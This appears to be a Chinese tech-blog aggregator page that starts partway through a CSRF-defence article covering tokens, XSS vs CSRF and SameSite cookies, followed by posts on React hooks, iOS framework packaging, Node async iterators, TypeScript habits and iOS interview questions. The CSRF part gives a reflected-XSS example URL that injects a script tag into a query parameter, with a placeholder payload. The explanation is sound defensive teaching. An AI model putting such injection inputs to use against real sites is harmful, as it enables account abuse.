某些应用程序在自定义请求头中传输 CSRF token 。这进一步防止了攻击者预测或捕获另一个用户的令牌,因为浏览器通常不允许跨域发送自定义头。然而,这种方法将应用程序限制为使用 XHR 发出受 CSRF 保护的请求(与 HTML 表单相反),并且在许多情况下可能被认为过于复杂。

CSRF token 不应在 cookie 中传输。

如何验证 CSRF token

当生成 CSRF token 时,它应该存储在服务器端的用户会话数据中。当接收到需要验证的后续请求时,服务器端应用程序应验证该请求是否包含与存储在用户会话中的值相匹配的令牌。无论请求的HTTP 方法或内容类型如何,都必须执行此验证。如果请求根本不包含任何令牌,则应以与存在无效令牌时相同的方式拒绝请求。


XSS vs CSRF

在本节中,我们将解释 XSS 和 CSRF 之间的区别,并讨论 CSRF token 是否有助于防御 XSS 攻击。

XSS 和 CSRF 之间有啥区别

跨站脚本攻击 XSS 允许攻击者在受害者用户的浏览器中执行任意 JavaScript 。

跨站请求伪造 CSRF 允许攻击者伪造受害用户执行他们不打算执行的操作。

XSS 漏洞的后果通常比 CSRF 漏洞更严重:

  • CSRF 通常只适用于用户能够执行的操作的子集。通常,许多应用程序都实现 CSRF 防御,但是忽略了暴露的一两个操作。相反,成功的 XSS 攻击通常可以执行用户能够执行的任何操作,而不管该漏洞是在什么功能中产生的。
  • CSRF 可以被描述为一个“单向”漏洞,因为尽管攻击者可以诱导受害者发出 HTTP 请求,但他们无法从该请求中检索响应。相反,XSS 是“双向”的,因为攻击者注入的脚本可以发出任意请求、读取响应并将数据传输到攻击者选择的外部域。

CSRF token 能否防御 XSS 攻击

一些 XSS 攻击确实可以通过有效使用 CSRF token 来进行防御。假设有一个简单的反射型 XSS 漏洞,其可以被利用如下:

https://insecure-website.com/status?message=<script>/*+Bad+stuff+here...+*/</script>

现在,假设漏洞函数包含一个 CSRF token :

https://insecure-website.com/status?csrf-token=CIwNZNlR4XbisJF39I8yWnWX9wX4WFoz&message=<script>/*+Bad+stuff+here...+*/</script>

如果服务器正确地验证了 CSRF token ,并拒绝了没有有效令牌的请求,那么该令牌确实可以防止此 XSS 漏洞的利用。这里的关键点是“跨站脚本”的攻击中涉及到了跨站请求,因此通过防止攻击者伪造跨站请求,该应用程序可防止对 XSS 漏洞的轻度攻击。

这里有一些重要的注意事项:

  • 如果反射型 XSS 漏洞存在于站点上任何其他不受 CSRF token 保护的函数内,则可以以常规方式利用该 XSS 漏洞。
  • 如果站点上的任何地方都存在可利用的 XSS 漏洞,则可以利用该漏洞使受害用户执行操作,即使这些操作本身受到 CSRF token 的保护。在这种情况下,攻击者的脚本可以请求相关页面获取有效的 CSRF token,然后使用该令牌执行受保护的操作。
  • CSRF token 不保护存储型 XSS 漏洞。如果受 CSRF token 保护的页面也是存储型 XSS 漏洞的输出点,则可以以通常的方式利用该 XSS 漏洞,并且当用户访问该页面时,将执行 XSS 有效负载。

SameSite cookies

某些网站使用 SameSite cookies 防御 CSRF 攻击。

这个 SameSite 属性可用于控制是否以及如何在跨站请求中提交 cookie 。通过设置会话 cookie 的属性,应用程序可以防止浏览器默认自动向请求添加 cookie 的行为,而不管cookie 来自何处。

这个 SameSite 属性在服务器的 Set-Cookie 响应头中设置,该属性可以设为 Strict 严格或者 Lax 松懈。例如:

SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Strict;

SetCookie: SessionId=sYMnfCUrAlmqVVZn9dqevxyFpKZt30NN; SameSite=Lax;

如果 SameSite 属性设置为 Strict ,则浏览器将不会在来自其他站点的任何请求中包含cookie。这是最具防御性的选择,但它可能会损害用户体验,因为如果登录的用户通过第三方链接访问某个站点,那么他们将不会登录,并且需要重新登录,然后才能以正常方式与站点交互。

如果 SameSite 属性设置为 Lax ,则浏览器将在来自另一个站点的请求中包含cookie,但前提是满足以下两个条件:

  • 请求使用 GET 方法。使用其他方法(如 POST )的请求将不会包括 cookie 。
  • 请求是由用户的顶级导航(如单击链接)产生的。其他请求(如由脚本启动的请求)将不会包括 cookie 。

使用 SameSite 的 Lax 模式确实对 CSRF 攻击提供了部分防御,因为 CSRF 攻击的目标用户操作通常使用 POST 方法实现。这里有两个重要的注意事项:

  • 有些应用程序确实使用 GET 请求实现敏感操作。
  • 许多应用程序和框架能够容忍不同的 HTTP 方法。在这种情况下,即使应用程序本身设计使用的是 POST 方法,但它实际上也会接受被切换为使用 GET 方法的请求。

出于上述原因,不建议仅依赖 SameSite Cookie 来抵御 CSRF 攻击。当其与 CSRF token 结合使用时,SameSite cookies 可以提供额外的防御层,并减轻基于令牌的防御中的任何缺陷。

原文链接:https://segmentfault.com/a/1190000039372004

收起阅读 »

useEffect, useCallback, useMemo三者有何区别?

背景在目前的react开发中,很多新项目都采用函数组件,因此,我们免不了会接触到hooks。此外,Hooks也是前端面试中react方面的一个高频考点,需要掌握常用的几种hooks。常用的有基本:useState, useEffect, useContext额...
继续阅读 »

背景

在目前的react开发中,很多新项目都采用函数组件,因此,我们免不了会接触到hooks。

此外,Hooks也是前端面试中react方面的一个高频考点,需要掌握常用的几种hooks。

常用的有

基本:useState, useEffect, useContext

额外:useCallback, useMemo, useRef

刚接触公司的react项目代码时,发现组件都是用的函数组件,不得不去学习hooks,之前只会类组件和react基础

其中useState不用说了,很容易理解,使我们在函数组件中也能像类组件那样获取、改变state

项目中很多地方都有useEffect, useCallback, useMemo,初看时感觉这三个都是包着一个东西,有它们跟没有它们感觉也没什么区别,很难分清这三个什么时候要用

所以这里就略微总结一下,附上一点个人在开发过程中的理解。


其实这三个区别还是挺明显的,

useEffect

useEffect可以帮助我们在DOM更新完成后执行某些副作用操作,如数据获取,设置订阅以及手动更改 React 组件中的 DOM 等

有了useEffect,我们可以在函数组件中实现 像类组件中的生命周期那样某个阶段做某件事情 (具有componentDidMountcomponentDidUpdate 和 componentWillUnmount的功能)

// 基本用法
useEffect(() => {
console.log('这是一个不含依赖数组的useEffect,每次render都会执行!')
})
useEffect 规则
  • 没有传第二个参数时,在每次 render 之后都会执行 useEffect中的内容
  • useEffect接受第二个参数来控制跳过执行,下次 render 后如果指定的值没有变化就不会执行
  • useEffect 是在 render 之后浏览器已经渲染结束才执行
useEffect 的第二个参数是可选的,类型是一个数组

根据第二个参数的不同情况,useEffect具有不同作用

1. 空数组

useEffect 只在第一次渲染时执行,由于空数组中没有值,始终没有改变,所以后续render不执行,相当于生命周期中的componentDidMount

useEffect(() => { console.log('只在第一次渲染时执行') }, []);

2. 非空数组

无论数组中有几个元素,数组中只要有任意一项发生了改变,useEffect 都会调用

useEffect(() => { getStuInfo({ id: stuId }); }, [getStuInfo, stuId]); //getStuInfo或者stuId改变时调用getStuInfo函数
useEffect用作componentWillUnmount

useEffect可以像让我们在组件即将卸载前做一些清除操作,如清空数据,清除计时器
使用方法:只需在现有的useEffect中返回一个函数,函数中为组件即将卸载前要做的操作

示例

useEffect(() => { 
getStuInfo({ id: stuId });
// 返回一个函数,在组件即将卸载前执行
return ()=> {
clearTimeout(Timer); // 清除定时器
data = null; // 清空页面数据,当我们希望页面切换回来时不显示之前的内容时在组件卸载前清空数据,常用于搜索页面,切回时显示空内容,需重新搜索
}
}, [getStuInfo, stuId]);

useCallback 和 useMemo

  • 相同点:useCallback 和 useMemo 都是性能优化的手段,类似于类组件中的 shouldComponentUpdate,在子组件中使用 shouldComponentUpdate, 判定该组件的 props 和 state 是否有变化,从而避免每次父组件render时都去重新渲染子组件。
  • 区别:useCallback 和 useMemo 的区别是useCallback返回一个函数,当把它返回的这个函数作为子组件使用时,可以避免每次父组件更新时都重新渲染这个子组件,
const renderButton = useCallback(
() => (
<Button type="link">
{buttonText}
</Button>
),
[buttonText]   // 当buttonText改变时才重新渲染renderButton
);

useMemo返回的的是一个值,用于避免在每次渲染时都进行高开销的计算。例:

// 仅当num改变时才重新计算结果
const result = useMemo(() => {
for (let i = 0; i < 100000; i++) {
(num * Math.pow(2, 15)) / 9;
}
}, [num]);

补充:什么时候用useCallback和useMemo进行优化

任何的优化都是有代价的,useCallback和useMemo虽然能够避免非必要渲染,但为此也付出了成本,比如保留额外的依赖数组;保留旧值的副本,以便在与先前依赖相同的情况下返回……

考虑到这些,在我们的项目中什么时候用useCallback和useMemo进行优化呢?

目前所在的公司,项目中所有地方都用了useCallback和useMemo,就这块问了一下mentor,他给出的答复是这样的:

就算有比对代价也比较小,因为哪怕是对象也只是引用比较。我觉得任何时候都用是一个好的习惯,但是大部分时间不用也没什么大问题。但是如果该函数或变量作为 props 传给子组件,请一定要用,避免子组件的非必要渲染

然后要记得 React 的工作方式遵循纯函数,特别是数据的 immutable,因此,使用 memo 很重要。但大部分时候都不足以成为性能瓶颈

原文链接:https://segmentfault.com/a/1190000039657107

收起阅读 »

iOS .a与framework打包以及shell自动合并

静态库打包的流程:.a打包将提前准备的项目文件及项目资源导入到SDK制作工程中添加New Header Phase将制作静态库需要的.h文件添加到Project中,将静态库调用的头文件添加到Public中静态库打包bundle文件>由于演示制作的静态库包...
继续阅读 »

静态库打包的流程:


.a打包


将提前准备的项目文件及项目资源导入到SDK制作工程中


添加New Header Phase


将制作静态库需要的.h文件添加到Project中,将静态库调用的头文件添加到Public中


静态库打包bundle文件>由于演示制作的静态库包含图片和xib文件,因此为了规范,我们需要把图片和xib文件添加到bundle中,如图添加给静态库添加bundle资源包


创建好之后,将图片和xib文件添加到Copy Bundle Resources中


由于.bundle文件属于macOX类型,所以我们需要改一些配置来适配iOS,如图所示
TARGETS ->选择bundle -> Build Settings ->Base SDK ->选择Latest iOS (iOS 11.2)

设置Build Setting 中的COMBINE_HIDPI_IMAEGS 为NO,否则Bundle中的图片就是tiff格式了。


作为资源包,仅仅需要编译就好,无需安装相关配置,设置Skip Install为YES,同样需要删除安装路径Installation Dirctory的值



到此为止bundle文件的设置完成


打包工程和资源文件

找到源文件路径,如下图所示,到此静态库制作完成,将.libStaticSDK.a和source.bundle和头文件StaticSDK.h导入到项目中即可使用


找到源文件路径

3、合并静态库真机和模拟器文件

我们在制作静态库的时候,编译会产两个.a文件,一个适用于模拟器的,一个是用于真机的,为了开发方便我们可以使用终端命令将.a文件进行合并

lipo -create XXX/模拟器.a路径 XXX/真机.a路径 -output 合并后的文件名称.a

4、注意点,由于资源文件在Bundle文件中因此在使用时需注意,以下我举两个例子,一个是加载图片,一个是加载xib文件




对于使用了Cocoapod导入第三方的xcode工程来讲 需要在Podfile中 做如下修改 之后 pod install
需要同时对住工程target 和Framework的target 配置pod环境



2.build Setting 设置

选择工程文件>target第一项>Build Setting>搜索linking,然后几个需要设置的选项都显现出来,首先是Dead Code Stripping设置为NO,网上对此项的解释如下,大致意思是如果开启此项就会对代码中的”dead”、”unreachable”的代码过滤,不过这个开关是否关闭,似乎没有多大影响,不过为了完整还原framework中的代码,将此项关闭也未曾不可。

The resulting executable will not include any “dead” or unreachable code

然后将Link With Standard Libraries关闭,我想可能是为了避免重复链接

最后将Mach-O Type设为Static Library,framework可以是动态库也可以是静态库,对于系统的framework是动态库,而用户制作的framework只能是静态库。

开始将下图中的build Active Architecture only选项设为YES,导致其编译时只生成当前机器的框架,将其设置为NO后,发现用模拟器编译后生成的framework同时包含x86_64和i386架构。不过这个无所谓,我们之后会使用编译脚本,脚本会将所有的架构全包含


分别编译

show in finder 如下

Debug-iphoneos 为Debug模式下真机使用的
Debug-iphonesimulator 为Debug模式下模拟器使用的
Release -iphoneos 为Release模式下真机使用的
Release-iphonesimulator 为Release模式下模拟器使用的



下面的合并和.a一样操作

下面介绍自动shell脚本合并

1:生成脚本target


2.target设置

1.添加target依赖

Target Dependencies 选中需要打包的framework + 选择New Run Script Phase 出现 Run Scirpt

2.设置脚本路径

可以在命令行里设置
也可以直接将脚本粘贴在这里


# 取得项目名字(get project name)
FMK_NAME=${PROJECT_NAME}
# 取得生成的静态库文件路径 (get framework path)
INSTALL_DIR=${SRCROOT}/Products/${FMK_NAME}.framework
# 设置真机和模拟器生成的静态库路径 (set devcie framework and simulator framework path)
WRK_DIR=build
DEVICE_DIR=${WRK_DIR}/Release-iphoneos/${FMK_NAME}.framework
SIMULATOR_DIR=${WRK_DIR}/Release-iphonesimulator/${FMK_NAME}.framework
# 模拟器和真机编译 (device and simulator build)
xcodebuild -configuration "Release" -target "${FMK_NAME}" -sdk iphoneos clean build
xcodebuild -configuration "Release" -target "${FMK_NAME}" -sdk iphonesimulator clean build
# 删除临时文件 (delete temp file)
if [ -d "${INSTALL_DIR}" ]
then
rm -rf "${INSTALL_DIR}"
fi
mkdir -p "${INSTALL_DIR}"
# 拷贝真机framework文件到生成路径下 (copy device file to product path)
cp -R "${DEVICE_DIR}/" "${INSTALL_DIR}/"
# 合并生成,替换真机framework里面的二进制文件,并且打开 (merger and open)
lipo -create "${DEVICE_DIR}/${FMK_NAME}" "${SIMULATOR_DIR}/${FMK_NAME}" -output "${INSTALL_DIR}/${FMK_NAME}"
echo "${DEVICE_DIR}/${FMK_NAME}"
echo "${SIMULATOR_DIR}/${FMK_NAME}"
rm -rf "${WRK_DIR}"
open "${INSTALL_DIR}"



摘自作者:Cooci
原贴链接:https://www.jianshu.com/p/bf1cc6ac7d17

收起阅读 »

关于 Node.js 中的异步迭代器

从 10.0.0 版开始,异步迭代器就出现在 Node 中了,在本文中,我们将讨论异步迭代器的作用,以及它们可以用在什么地方。什么是异步迭代器异步迭代器实际上是以前迭代器的异步版本。当我们不知道迭代的值和最终状态时,可以使用异步迭代器。两者不同的地方在于,我们...
继续阅读 »

从 10.0.0 版开始,异步迭代器就出现在 Node 中了,在本文中,我们将讨论异步迭代器的作用,以及它们可以用在什么地方。

什么是异步迭代器

异步迭代器实际上是以前迭代器的异步版本。当我们不知道迭代的值和最终状态时,可以使用异步迭代器。两者不同的地方在于,我们得到的 promise 最终将被分解为普通的 { value: any, done: boolean } 对象,另外可以通过 for-await-of 循环来处理异步迭代器。就像 for-of 循环用于同步迭代器一样。

const asyncIterable = [1, 2, 3];
asyncIterable[Symbol.asyncIterator] = async function*() {
for (let i = 0; i < asyncIterable.length; i++) {
yield { value: asyncIterable[i], done: false }
}
yield { done: true };
};

(async function() {
for await (const part of asyncIterable) {
console.log(part);
}
})();

与通常的 for-of 循环相反,`for-await-of 循环将会等待它收到的每个 promise 解析之后再继续执行下一个。

除了流之外,还在还没有什么能够支持异步迭代的结构,但是可以将 asyncIterator 符号手动添加到任何一种可迭代的结构中。

在流上使用异步迭代器

异步迭代器在处理流时非常有用。可读流、可写流、双工流和转换流上都带有 asyncIterator 符号。

async function printFileToConsole(path) {
try {
const readStream = fs.createReadStream(path, { encoding: 'utf-8' });

for await (const chunk of readStream) {
console.log(chunk);
}

console.log('EOF');
} catch(error) {
console.log(error);
}
}

如果以这种方式写代码,就不需要在通过迭代获取每个数据块时监听 end 和 data 事件了,并且 for-await-of 循环会随着流的结束而结束。

用于有分页功能的 API

你还可以通过异步迭代从使用分页的源中轻松获取数据。为了实现这个功能,还需要一种从Node https 请求方法提供给的流中重构响应主体的方法。在这里也可以使用异步迭代器,因为 https 请求和响应在 Node 中都是流:

const https = require('https');

function homebrewFetch(url) {
return new Promise(async (resolve, reject) => {
const req = https.get(url, async function(res) {
if (res.statusCode >= 400) {
return reject(new Error(`HTTP Status: ${res.statusCode}`));
}

try {
let body = '';

/*
代替 res.on 侦听流中的数据,
可以使用 for-await-of,
并把数据块附加到到响应体的剩余部分
*/
for await (const chunk of res) {
body += chunk;
}

// 处理响应没有响应体的情况
if (!body) resolve({});
// 需要解析正文来获取 json,因为它是一个字符串
const result = JSON.parse(body);
resolve(result);
} catch(error) {
reject(error)
}
});

await req;
req.end();
});
}

代码通过向 Cat API(https://thecatapi.com/)发出请求,来获取一些猫的图片。另外还添加了 7 秒钟的延迟防止对 cat API 的访问过与频繁,因为那样是极其不道德的。

function fetchCatPics({ limit, page, done }) {
return homebrewFetch(`https://api.thecatapi.com/v1/images/search?limit=${limit}&page=${page}&order=DESC`)
.then(body => ({ value: body, done }));
}

function catPics({ limit }) {
return {
[Symbol.asyncIterator]: async function*() {
let currentPage = 0;
// 5 页后停止
while(currentPage < 5) {
try {
const cats = await fetchCatPics({ currentPage, limit, done: false });
console.log(`Fetched ${limit} cats`);
yield cats;
currentPage ++;
} catch(error) {
console.log('There has been an error fetching all the cats!');
console.log(error);
}
}
}
};
}

(async function() {
try {
for await (let catPicPage of catPics({ limit: 10 })) {
console.log(catPicPage);
// 每次请求之间等待 7 秒
await new Promise(resolve => setTimeout(resolve, 7000));
}
} catch(error) {
console.log(error);
}
})()

这样,我们就会每隔7秒钟自动取回一整页的喵星人图片。

一种更常见的页面间导航的方法可实现 next 和 previous 方法并将它们公开为控件:

function actualCatPics({ limit }) {
return {
[Symbol.asyncIterator]: () => {
let page = 0;
return {
next: function() {
page++;
return fetchCatPics({ page, limit, done: false });
},
previous: function() {
if (page > 0) {
page--;
return fetchCatPics({ page, limit, done: false });
}
return fetchCatPics({ page: 0, limit, done: true });
}
}
}
};
}

try {
const someCatPics = actualCatPics({ limit: 5 });
const { next, previous } = someCatPics[Symbol.asyncIterator]();
next().then(console.log);
next().then(console.log);
previous().then(console.log);
} catch(error) {
console.log(error);
}

如你所见,当要获取数据页面或在程序的 UI 上进行无限滚动之类的操作时,异步迭代器会非常有用。

这些功能在 Chrome 63+、Firefox 57+、Safari 11.1+ 中可用。

原文链接:https://segmentfault.com/a/1190000039366803

收起阅读 »

写TypeScript代码的10种坏习惯

近几年 TypeScript 和 JavaScript 一直在稳步发展。我们在过去写代码时养成了一些习惯,而有些习惯却没有什么意义。以下是我们都应该改正的 10 个坏习惯。1.不使用 strict 模式这种习惯看起来是什么样的没有用严格模式...
继续阅读 »

近几年 TypeScript 和 JavaScript 一直在稳步发展。我们在过去写代码时养成了一些习惯,而有些习惯却没有什么意义。以下是我们都应该改正的 10 个坏习惯。

1.不使用 strict 模式

这种习惯看起来是什么样的

没有用严格模式编写 tsconfig.json

{
"compilerOptions": {
"target": "ES2015",
"module": "commonjs"
}
}

应该怎样

只需启用 strict 模式即可:

{
"compilerOptions": {
"target": "ES2015",
"module": "commonjs",
"strict": true
}
}

为什么会有这种坏习惯

在现有代码库中引入更严格的规则需要花费时间。

为什么不该这样做

更严格的规则使将来维护代码时更加容易,使你节省大量的时间。

2. 用 || 定义默认值

这种习惯看起来是什么样的

使用旧的 || 处理后备的默认值:

function createBlogPost (text: string, author: string, date?: Date) {
return {
text: text,
author: author,
date: date || new Date()
}
}

应该怎样

使用新的 ?? 运算符,或者在参数重定义默认值。

function createBlogPost (text: string, author: string, date: Date = new Date())
return {
text: text,
author: author,
date: date
}
}

为什么会有这种坏习惯

?? 运算符是去年才引入的,当在长函数中使用值时,可能很难将其设置为参数默认值。

为什么不该这样做

?? 与 || 不同,?? 仅针对 null 或 undefined,并不适用于所有虚值。

3. 随意使用 any 类型

这种习惯看起来是什么样的

当你不确定结构时,可以用 any 类型。

async function loadProducts(): Promise<Product[]> {
const response = await fetch('https://api.mysite.com/products')
const products: any = await response.json()
return products
}

应该怎样

把你代码中任何一个使用 any 的地方都改为 unknown

async function loadProducts(): Promise<Product[]> {
const response = await fetch('https://api.mysite.com/products')
const products: unknown = await response.json()
return products as Product[]
}

为什么会有这种坏习惯

any 是很方便的,因为它基本上禁用了所有的类型检查。通常,甚至在官方提供的类型中都使用了 any。例如,TypeScript 团队将上面例子中的 response.json() 的类型设置为 Promise <any>

为什么不该这样做

它基本上禁用所有类型检查。任何通过 any 进来的东西将完全放弃所有类型检查。这将会使错误很难被捕获到。

4. val as SomeType

这种习惯看起来是什么样的

强行告诉编译器无法推断的类型。

async function loadProducts(): Promise<Product[]> {
const response = await fetch('https://api.mysite.com/products')
const products: unknown = await response.json()
return products as Product[]
}

应该怎样

这正是 Type Guard 的用武之地。

function isArrayOfProducts (obj: unknown): obj is Product[] {
return Array.isArray(obj) && obj.every(isProduct)
}

function isProduct (obj: unknown): obj is Product {
return obj != null
&& typeof (obj as Product).id === 'string'
}

async function loadProducts(): Promise<Product[]> {
const response = await fetch('https://api.mysite.com/products')
const products: unknown = await response.json()
if (!isArrayOfProducts(products)) {
throw new TypeError('Received malformed products API response')
}
return products
}

为什么会有这种坏习惯

从 JavaScript 转到 TypeScript 时,现有的代码库通常会对 TypeScript 编译器无法自动推断出的类型进行假设。在这时,通过 as SomeOtherType 可以加快转换速度,而不必修改 tsconfig 中的设置。

为什么不该这样做

Type Guard 会确保所有检查都是明确的。

5. 测试中的 as any

这种习惯看起来是什么样的

编写测试时创建不完整的用例。

interface User {
id: string
firstName: string
lastName: string
email: string
}

test('createEmailText returns text that greats the user by first name', () => {
const user: User = {
firstName: 'John'
} as any

expect(createEmailText(user)).toContain(user.firstName)
}

应该怎样

如果你需要模拟测试数据,请将模拟逻辑移到要模拟的对象旁边,并使其可重用。

interface User {
id: string
firstName: string
lastName: string
email: string
}

class MockUser implements User {
id = 'id'
firstName = 'John'
lastName = 'Doe'
email = 'john@doe.com'
}

test('createEmailText returns text that greats the user by first name', () => {
const user = new MockUser()

expect(createEmailText(user)).toContain(user.firstName)
}

为什么会有这种坏习惯

在给尚不具备广泛测试覆盖条件的代码编写测试时,通常会存在复杂的大数据结构,但要测试的特定功能仅需要其中的一部分。短期内不必关心其他属性。

为什么不该这样做

在某些情况下,被测代码依赖于我们之前认为不重要的属性,然后需要更新针对该功能的所有测试。

6. 可选属性

这种习惯看起来是什么样的

将属性标记为可选属性,即便这些属性有时不存在。

interface Product {
id: string
type: 'digital' | 'physical'
weightInKg?: number
sizeInMb?: number
}

应该怎样

明确哪些组合存在,哪些不存在。

interface Product {
id: string
type: 'digital' | 'physical'
}

interface DigitalProduct extends Product {
type: 'digital'
sizeInMb: number
}

interface PhysicalProduct extends Product {
type: 'physical'
weightInKg: number
}

为什么会有这种坏习惯

将属性标记为可选而不是拆分类型更容易,并且产生的代码更少。它还需要对正在构建的产品有更深入的了解,并且如果对产品的设计有所修改,可能会限制代码的使用。

为什么不该这样做

类型系统的最大好处是可以用编译时检查代替运行时检查。通过更显式的类型,能够对可能不被注意的错误进行编译时检查,例如确保每个 DigitalProduct 都有一个 sizeInMb

7. 用一个字母通行天下

这种习惯看起来是什么样的

用一个字母命名泛型

function head<T> (arr: T[]): T | undefined {
return arr[0]
}

应该怎样

提供完整的描述性类型名称。

function head<Element> (arr: Element[]): Element | undefined {
return arr[0]
}

为什么会有这种坏习惯

这种写法最早来源于C++的范型库,即使是 TS 的官方文档也在用一个字母的名称。它也可以更快地输入,只需要简单的敲下一个字母 T 就可以代替写全名。

为什么不该这样做

通用类型变量也是变量,就像其他变量一样。当 IDE 开始向我们展示变量的类型细节时,我们已经慢慢放弃了用它们的名称描述来变量类型的想法。例如我们现在写代码用 const name ='Daniel',而不是 const strName ='Daniel'。同样,一个字母的变量名通常会令人费解,因为不看声明就很难理解它们的含义。

8. 对非布尔类型的值进行布尔检查

这种习惯看起来是什么样的

通过直接将值传给 if 语句来检查是否定义了值。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

应该怎样

明确检查我们所关心的状况。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages !== undefined) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

为什么会有这种坏习惯

编写简短的检测代码看起来更加简洁,使我们能够避免思考实际想要检测的内容。

为什么不该这样做

也许我们应该考虑一下实际要检查的内容。例如上面的例子以不同的方式处理 countOfNewMessages 为 0 的情况。

9. ”棒棒“运算符

这种习惯看起来是什么样的

将非布尔值转换为布尔值。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (!!countOfNewMessages) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

应该怎样

明确检查我们所关心的状况。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages !== undefined) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

为什么会有这种坏习惯

对某些人而言,理解 !! 就像是进入 JavaScript 世界的入门仪式。它看起来简短而简洁,如果你对它已经非常习惯了,就会知道它的含义。这是将任意值转换为布尔值的便捷方式。尤其是在如果虚值之间没有明确的语义界限时,例如 nullundefined 和 ''

为什么不该这样做

与很多编码时的便捷方式一样,使用 !! 实际上是混淆了代码的真实含义。这使得新开发人员很难理解代码,无论是对一般开发人员来说还是对 JavaScript 来说都是新手。也很容易引入细微的错误。在对“非布尔类型的值”进行布尔检查时 countOfNewMessages 为 0 的问题在使用 !! 时仍然会存在。

10. != null

这种习惯看起来是什么样的

棒棒运算符的小弟 ! = null使我们能同时检查 null 和 undefined

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages != null) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

应该怎样

明确检查我们所关心的状况。

function createNewMessagesResponse (countOfNewMessages?: number) {
if (countOfNewMessages !== undefined) {
return `You have ${countOfNewMessages} new messages`
}
return 'Error: Could not retrieve number of new messages'
}

为什么会有这种坏习惯

如果你的代码在 null 和 undefined 之间没有明显的区别,那么 != null 有助于简化对这两种可能性的检查。

为什么不该这样做

尽管 null 在 JavaScript早期很麻烦,但 TypeScript 处于 strict 模式时,它却可以成为这种语言中宝贵的工具。一种常见模式是将 null 值定义为不存在的事物,将 undefined 定义为未知的事物,例如 user.firstName === null 可能意味着用户实际上没有名字,而 user.firstName === undefined 只是意味着我们尚未询问该用户(而 user.firstName === 的意思是字面意思是 '' 。

原文链接:https://segmentfault.com/a/1190000039368534

收起阅读 »

腾讯iOS面试题一分析

网络相关:1. 项目使用过哪些网络库?用过ASIHttp库嘛AFNetworking、ASIHttpRequest、Alamofire(swift)1、AFN的底层实现基于OC的NSURLConnection和NSURLSession2、ASI的底层实现基于纯...
继续阅读 »

网络相关:

1. 项目使用过哪些网络库?用过ASIHttp库嘛
AFNetworking、ASIHttpRequest、Alamofire(swift)
1、AFN的底层实现基于OC的NSURLConnection和NSURLSession
2、ASI的底层实现基于纯C语言的CFNetwork框架
3、因为NSURLConnection和NSURLSession是在CFNetwork之上的一层封装,因此ASI的运行性能高于AFN

2. 断点续传怎么实现的?
需要怎么设置断点续传就是从文件上次中断的地方开始重新下载或上传数据。要实现断点续传 , 服务器必须支持(这个很重要,一个巴掌是拍不响的,如果服务器不支持,那么客户端写的再好也没用)。总结:断点续传主要依赖于 HTTP 头部定义的 Range 来完成。有了 Range,应用可以通过 HTTP 请求获取失败的资源,从而来恢复下载该资源。当然并不是所有的服务器都支持 Range,但大多数服务器是可以的。Range 是以字节计算的,请求的时候不必给出结尾字节数,因为请求方并不一定知道资源的大小。

// 1 指定下载文件地址 URLString
// 2 获取保存的文件路径 filePath
// 3 创建 NSURLRequest
NSURLRequest *request = [NSURLRequest requestWithURL:[NSURL URLWithString:URLString]];
unsigned long long downloadedBytes = 0;

if ([[NSFileManager defaultManager] fileExistsAtPath:filePath]) {
// 3.1 若之前下载过 , 则在 HTTP 请求头部加入 Range
// 获取已下载文件的 size
downloadedBytes = [self fileSizeForPath:filePath];

// 验证是否下载过文件
if (downloadedBytes > 0) {
// 若下载过 , 断点续传的时候修改 HTTP 头部部分的 Range
NSMutableURLRequest *mutableURLRequest = [request mutableCopy];
NSString *requestRange =
[NSString stringWithFormat:@"bytes=%", downloadedBytes];
[mutableURLRequest setValue:requestRange forHTTPHeaderField:@"Range"];
request = mutableURLRequest;
}
}
// 4 创建 AFHTTPRequestOperation
AFHTTPRequestOperation *operation
= [[AFHTTPRequestOperation alloc] initWithRequest:request];

// 5 设置操作输出流 , 保存在第 2 步的文件中
operation.outputStream = [NSOutputStream
outputStreamToFileAtPath:filePath append:YES];

// 6 设置下载进度处理 block
[operation setDownloadProgressBlock:^(NSUInteger bytesRead,
long long totalBytesRead, long long totalBytesExpectedToRead) {
// bytesRead 当前读取的字节数
// totalBytesRead 读取的总字节数 , 包含断点续传之前的
// totalBytesExpectedToRead 文件总大小
}];

// 7 设置 success 和 failure 处理 block
[operation setCompletionBlockWithSuccess:^(AFHTTPRequestOperation
*operation, id responseObject) {

} failure:^(AFHTTPRequestOperation *operation, NSError *error) {

}];

// 8 启动 operation
[operation start];

3. HTTP请求 什么时候用post、get、put ?GET方法:对这个资源的查操作

  • GET参数通过URL传递,POST放在Request body中。

  • GET请求会被浏览器主动cache,而POST不会,除非手动设置

  • GET请求参数会被完整保留在浏览器历史记录里,而POST中的参数不会被保留。

  • Get 请求中有非 ASCII 字符,会在请求之前进行转码,POST不用,因为POST在Request body中,通过 MIME,也就可以传输非 ASCII 字符。

  • 一般我们在浏览器输入一个网址访问网站都是GET请求

  • HTTP的底层是TCP/IP。HTTP只是个行为准则,而TCP才是GET和POST怎么实现的基本。GET/POST都是TCP链接。GET和POST能做的事情是一样一样的。但是请求的数据量太大对浏览器和服务器都是很大负担。所以业界有了不成文规定,(大多数)浏览器通常都会限制url长度在2K个字节,而(大多数)服务器最多处理64K大小的url。

  • GET产生一个TCP数据包;POST产生两个TCP数据包。对于GET方式的请求,浏览器会把http header和data一并发送出去,服务器响应200(返回数据);而对于POST,浏览器先发送header,服务器响应100 continue,浏览器再发送data,服务器响应200 ok(返回数据)。

  • 在网络环境好的情况下,发一次包的时间和发两次包的时间差别基本可以无视。而在网络环境差的情况下,两次包的TCP在验证数据包完整性上,有非常大的优点。但并不是所有浏览器都会在POST中发送两次包,Firefox就只发送一次。

PUT和POS都有更改指定URI的语义.但PUT被定义为idempotent的方法,POST则不是.idempotent的方法:如果一个方法重复执行
多次,产生的效果是一样的,那就是idempotent的。也就是说:
PUT请求:如果两个请求相同,后一个请求会把第一个请求覆盖掉。(所以PUT用来改资源)
